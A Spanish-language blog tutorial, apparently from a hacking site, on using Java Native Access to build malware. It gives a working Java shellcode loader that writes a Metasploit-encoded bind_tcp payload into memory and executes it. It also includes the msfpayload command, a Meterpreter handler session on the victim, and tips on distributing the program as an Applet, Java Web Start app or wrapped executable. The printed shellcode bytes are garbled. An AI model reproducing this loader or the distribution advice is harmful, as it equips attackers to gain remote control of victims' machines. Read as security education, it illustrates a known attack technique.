
Cuando se habla de APTs y cibercrimen, casi siempre se habla
también de maleware y/o software vulnerable, ya que son los elementos
angulares de cualquier campaña APT independientemente de su alcance. En
este y otros artículos, intentaré explicar algunas de las técnicas que
utilizan los atacantes en Internet para escribir maleware e intentar
comprometer los sistemas de sus víctimas. En esta ocasión corresponde
hablar sobre Java y JNA (Java Native Access).
Java es un lenguaje muy popular por ser uno de los primeros que se ha
enfocado a Internet y por contar con una extensa API llena de
funcionalidades para todos los gustos y colores. No obstante y
“curiosamente” desde que Sun MicroSystems fue adquirida por Oracle, han
salido a la luz varias vulnerabilidades relacionadas directamente con la
máquina virtual de Java, muchas de las cuales han permitido la
ejecución remota de código. Este hecho ha sido explotado de forma
continuada por muchos atacantes en Internet y ahora representa en un
problema bastante serio.
Sin embargo, además de las vulnerabilidades que se han detectado en la
JVM, también existen otros problemas relacionados con la ejecución de
Applets, especialmente cuando dichos Applets pueden ejecutar código
nativo que no es gestionado directamente por la máquina virtual, como
por ejemplo aquellas rutinas de código que utilizan JNI o JNA para
acceder a funciones del sistema.
¿Qué es JNA y cómo me puedo beneficiar de dicha librería?
Como seguramente ya sabes, Java es un lenguaje híbrido, es una mezcla
entre un lenguaje interpretado y un lenguaje compilado. Además, una de
las ventajas que tiene y que le ha permitido ganar popularidad es que
todas las instrucciones de código de un programa, se ejecutan
directamente sobre una máquina virtual de Java y no sobre un sistema
operativo concreto, de esta forma se trata de código que se puede
ejecutar en diferentes sistemas operativos, siempre y cuando dichos
sistemas tengan instalada la JVM (Java Virtual Machine). Un lenguaje con
dichas características en los años en los que salio a la luz Java, era
toda una revolución, ya que por aquel entonces (hablamos de la década de
los 90s), era muy común escribir programas en C/C++ para plataformas
especificas y con Java, se simplificaba muchísimo el desarrollo, ya que
el mismo programa podía ser interpretado de la misma forma en múltiples
sistemas operativos. Ha sido una idea genial y que muchos lenguajes
adoptaron posteriormente.
Aunque todas las instrucciones de un programa escrito en Java pueden
ejecutarse de forma independiente del sistema operativo, las operaciones
relacionadas con la gestión de la memoria y el acceso a determinas
funciones son completamente gestionadas por la JVM y el control que
puede tener el programador para acceder a estructuras o ejecutar
funciones del sistema operativo es prácticamente nulo. Dado que en
ocasiones muy concretas, era necesario ejecutar código nativo y la JVM
no lo permitía, surgió la interfaz JNI (Java Native Interface) la cual
permitía ejecutar código nativo en lenguaje C desde un programa escrito
en Java. Dado que la ejecución de este tipo de programas requiere cierta
“confianza”, programas escritos con la finalidad de ser distribuidos a
otros clientes, como los Applets, se encuentran limitados por un sandbox
en el que la ejecución de este tipo de operaciones “potencialmente
peligrosas” se encuentran restringidas, a menos claro, de que se
permitan explícitamente utilizando el mecanismo de políticas de Java por
medio de los ficheros “java.policy” o “java.security”.
JNI ha sido el mecanismo estándar utilizado por los programadores de
Java para acceder a rutinas de código nativas escritas en lenguaje C,
sin embargo su uso era algo complejo incluso para acceder a rutinas
simples, por ese motivo, entre otros, salio el proyecto JNA (Java Native
Access) el cual no solamente incluye formas mucho más convenientes de
acceder a código nativo desde Java, sino que para un atacante, también
permite crear rutinas maliciosas (maleware) para ejecutar código
arbitrario en el sistema.
Antes de explicar cómo hacer esto, se enseña el uso básico de JNA en un
programa escrito en Java que se encarga simplemente de ejecutar la
función “printf” de C.
test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import com.sun.jna.Library;
import com.sun.jna.Native;
import com.sun.jna.Platform;
public class test {
public interface CLibrary extends Library {
CLibrary INSTANCE = (CLibrary) Native.loadLibrary(
(Platform.isWindows() ? "msvcrt" : "c" ), CLibrary. class );
void printf(String format, Object... args);
}
public static void main(String[] args) {
CLibrary.INSTANCE.printf( "Mensaje utilizando la función 'printf' de C.
" );
for ( int i = 0 ; i < args.length; i++) {
CLibrary.INSTANCE.printf( "Parámetro %d: %s
" , i, args[i]);
}
}
}
|
|
Para compilar el código anterior con la utilidad “javac”, es
necesario descargar el fichero JAR de JNA, ya que es una librería que no
se encuentra incluida por defecto en el JDK de Java. Para descargar el
JAR correspondiente, puedes dirigirte al siguiente repositorio: http://mvnrepository.com/artifact/net.java.dev.jna/jna/4.1.0
debes pinchar donde pone “Download JAR”, al lado del texto que pone
“Artifact” o si tienes un proyecto Java gestionado con Maven, puedes
incluir dicha dependencia en el fichero pom.xml del proyecto y
descargarla automáticamente con Maven.
Ahora, para compilar el programa anterior con el comando “javac” es
necesario indicar en el “classpath”, la ruta en la que se encuentra el
fichero JAR.
javac -cp jna-4.1.0.jar test.java |
En este caso, se asume que la librería “jna-4.1.0.jar” se encuentra ubicada en la misma ruta que el programa Java.
La ejecución del comando anterior dará como resultado dos fichero
“.class”, el primero incluye el bytecode de la clase “test” compilada y
el segundo el bytecode de la interfaz “CLibrary”.
Ahora se procede a ejecutar el programa y como se puede apreciar, se
accede a la función “printf” de C desde el programa escrito en Java.
>java -cp jna-4.1.0.jar:. test aa aa
Mensaje utilizando la función ‘printf’ de C.
Parámetro 0: aa
Parámetro 1: aa |
Hasta este punto el uso de JNA parece bastante simple, pero cuenta
con varias clases interesantes que se detallarán a continuación para
crear maleware.
¿Cómo desarrollar programas con JNA para crear y posteriormente distribuir Maleware?
Si un atacante tiene la posibilidad de manipular la memoria o invocar
funciones del sistema operativo desde un programa escrito en Java, como
si se tratará de cualquier programa en C, tendrá la posibilidad de
ejecutar shellcodes, rutinas de código para acceder remotamente o
ejecutar cualquier otra actividad sobre el sistema, las posibilidades se
limitan a su creatividad.
Vamos a plantear un ejemplo demostrativo, en el que se creará un payload
del tipo “bind_tcp” y desde un programa escrito en Java, se utilizará
JNA para reservar un espacio de memoria equivalente a la longitud del
payload y posteriormente, se controlará el flujo del programa para
posicionarlo en la región de memoria donde se ha cargado el shellcode
para que se pueda ejecutar.
El shellcode se puede generar fácilmente utilizando Metasploit
Framework con las utilidades msfpayload y msfencode o con msfvenom, el
resultado en cualquier caso es el mismo.
>msfpayload linux/meterpreter/bind_tcp LPORT=4444 R | msfencode -c 10 -e x86/shikata_ga_nai -t c -b “ ″
Invalid payload: linux/meterpreter/bind_tcp
[*] x86/shikata_ga_nai succeeded with size 27 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 54 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 81 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 108 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 135 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 162 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 189 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 216 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 243 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 270 (iteration=10)
unsigned char buf[] =
“ÛÖÙt$ô¸ „dã_)ɱ″
“=ƒïü1GGâü<“‹”
“õ⇟ÐoÔ¼¼•¥wòc″
“Ôt²y[c®—p¬pP I9″
“ïœ}©šè¡~5Ú^º-”
“±ÕD±ô)‰-ŽZÿv+”
“tæƒìcû›—Á5Ì7å}”
“ žŸ™›ûȨÓÔ Ø″
“÷þã¾$õÃýmQ «”
“8FAáЉwƒµª«„¶″
“´°Ým9ý ²8±E″
“mªOÍèN!…tUv=¹″
“Õ¦ËuÆ—+ÈÁrlY`″
“BŸ`c#ó³ŽÓMšñ″
“Ï’* Œ8Si¤SJC″
“iºŽ
(2:peP*r8Z”
“+Áòb»ŽÁ¢
†ô’″
“Ñm¯tÌHfUs*_(À″; |
A continuación se enseña una prueba de concepto simple para enseñar la estructura base del programa.
malewareJava.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | import com.sun.jna.Memory;
import com.sun.jna.Function;
public class malewareJava {
public static String shellcode_hex= "db d6 d9 74 24 f4 b8 …. " ;
public static byte [] shellcode;
public static long offset= 0 ;
public static void main(String ... s) {
String[] values = shellcode_hex.split( " " );
shellcode = new byte [values.length];
int i = 0 ;
for (i= 0 ;i<values.length;i++) {
shellcode[i] = Integer.decode( "0x" + values[i]).byteValue();
}
Memory mem= new Memory(shellcode.length);
mem.clear(shellcode.length);
mem.write(offset,shellcode, 0 ,shellcode.length);
Function f=Function.getFunction(mem, 0 );
f.invoke( null );
}
}
|
|
La variable “shellcode_hex” contiene el shellcode generado
anteriormente con Metasploit y en la función “main” del programa se
obtiene un array decodificado con cada uno de los valores de dicho
shellcode. La parte interesante del programa viene después, ya que se
utiliza la clase “Memory” para reservar el espacio de memoria
correspondiente a la longitud total del shellcode y posteriormente con
los métodos “clear” y “write” se limpia y se inyecta el shellcode en la
sección de memoria reservada.
Finalmente, con la clase “Function” se ejecuta el método “getFunction”
para recuperar una referencia a la dirección de memoria donde se
encuentra el shellcode y se invoca con el método “invoke”.
Después de ejecutar el programa anterior sobre un sistema Windows, se
abrirá el puerto “4444” en la máquina de la víctima, tal como se ha
indicado anteriormente al ejecutar Metasploit.
C:Documents and SettingsjdaanialDesktop>javac malewareJava.java
C:Documents and SettingsjdaanialDesktop>java malewareJava |
Cuando se ejecuta el programa anterior, el proceso queda en estado de escucha y el puerto “4444” quedará abierto.
Si se observa atentamente, no se ha especificado el path donde se
encuentra la librería de JNA, esto es debido a que por comodidad, se ha
incluido directamente en el directorio de extensiones de la JVM, dicho
directorio para el JDK se encuentra en <JDK_HOME>/jre/lib/ext y
para el JRE se encuentra en <JRE_HOME>/lib/ext.
Después de ejecutar el programa se podrá ver el puerto “4444” abierto y esperando conexiones.
C:Documents and Settingsjdaanial>netstat -anv
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 0.0.0.0:110 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:143 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING
TCP 192.168.1.38:4444 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.1.38:139 0.0.0.0:0 LISTENING
…………………. |
Ahora desde Metasploit será posible obtener una consola Meterpreter.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set RHOST 192.168.1.38
RHOST => 192.168.1.38
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler…
[*] Sending stage (769536 bytes) to 192.168.1.38
[*] Meterpreter session 1 opened (192.168.1.98:51028 -> 192.168.1.38:4444) at 2014-11-09 20:31:37 +0100
meterpreter > |
Hasta este punto la prueba de concepto funciona correctamente, pero
es necesario trabajar un poco más sobre el mecanismo de distribución del
programa malicioso. En este caso, se puede crear un Applet, utilizar el
protocolo JNLP (Java Network Launch Protocol) con JWS (Java Web Start) o
convertir el programa escrito en Java en un ejecutable propiamente
dicho para no depender de la máquina virtual de Java instalada en la
víctima y para ello, se pueden utilizar herramientas como Jsmooth o
Lauch4J.
Fuente http://thehackerway.com/2014/11/13/3205/